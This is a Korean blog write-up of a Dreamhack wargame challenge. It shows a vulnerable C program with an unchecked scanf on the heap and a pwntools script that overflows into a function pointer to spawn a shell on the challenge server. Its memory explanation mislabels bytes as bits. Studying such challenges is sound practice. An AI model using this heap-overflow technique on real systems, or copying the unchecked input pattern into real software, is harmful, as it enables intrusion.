
보호기법 확인

보호기법이 적용되어있지 않다
하지만 aslr은 적용되어있을 수 있으니 주의
문제코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
문제코드에 친절하게 table_func를 overwrite하게 적혀있다
코드 구조는 over 구조체와 ptr, over구조체변수를
각각 0x20만큼 메모리를 할당하고
over->table에 table_func를 넣고 실행한다
그렇다면 scanf에서 prt변수를 입력받는데 이곳에서
overflow를 일으킬 수 있을 것 같다
디버깅

main stack frame

ptr에 값을 넣어 over에 값을 침범해야 하지만
각 변수에 메모리를 할당했기 때문에
heap영역으로 확인해야한다
메모리 할당 후 heap 확인
b* main+43

1번째줄과 4번째줄은 변수heap이 아니고
중간것이 변수heap인데
먼저 할당된 ptr은 0x804b198이다
저 값의 차이값으로 dummy값을 넣고
get_shell의 주소를 같이 보낸다면
flag를 획득할 수 있다
payload
from pwn import *
p = remote('host3.dreamhack.games', 9067)
e = ELF('./basic_heap_overflow')
payload = b'A'*(0x804b1c8-0x804b198-8) # 로되리안이면 8바이트를 뺴라는 댓글이 있었다
payload += p32(e.symbols['get_shell'])
p.send(payload)
p.interactive()
첫번째로 process로 돌렸을 때 값의 차이가 48이 났다
그래서 그 값으로 진행했더니 쉘을 얻었는데
remote로 서버에 값을 전달할 때는 flag를 얻을 수 없었다
이는 현재 컴퓨터의 우분투 버전과 서버의 버전이 다를때
값이 조금 달라지는 현상이 있기 때문이다
댓글을 보고 알아냈지만 기본적인 메모리 할당 구조를 생각했을때
디버깅을 시도하지 않고 알아낼 수도 있다
메모리할당시 pre_size와 size정보가 기록되는데
이는 64비트 운영체제일 시 각각 8비트, 32일 시 4비트씩 할당된다
현재 local에서 시도했을시 64비트이므로 32(0x20) + 8 + 8 = 48바이트
remote에서 시도했을시 32비트 운영체제이므로 32(0x20) + 4 + 4 = 40바이트이다
따라서
서버환경에서 시도했을 시 heap영역 사이에 거리는 40바이트이다
결과

사실 로드맵을 풀고 다른것을 공부하느라
원래 알던것도 헷갈렸는데 이번 문제를 통해
heap영역을 다시 이해했다
'시스템해킹' 카테고리의 다른 글
| [드림핵] awesome-basics 풀이 (0) | 2024.09.12 |
|---|---|
| [드림핵] pwn-library 풀이 (0) | 2024.09.12 |
| [드림핵] memory_leakage 풀이 (0) | 2024.09.06 |
| [드림핵] off_by_one_001 풀이 (0) | 2024.09.06 |
| [드림핵] ssp_000 풀이 (0) | 2024.09.06 |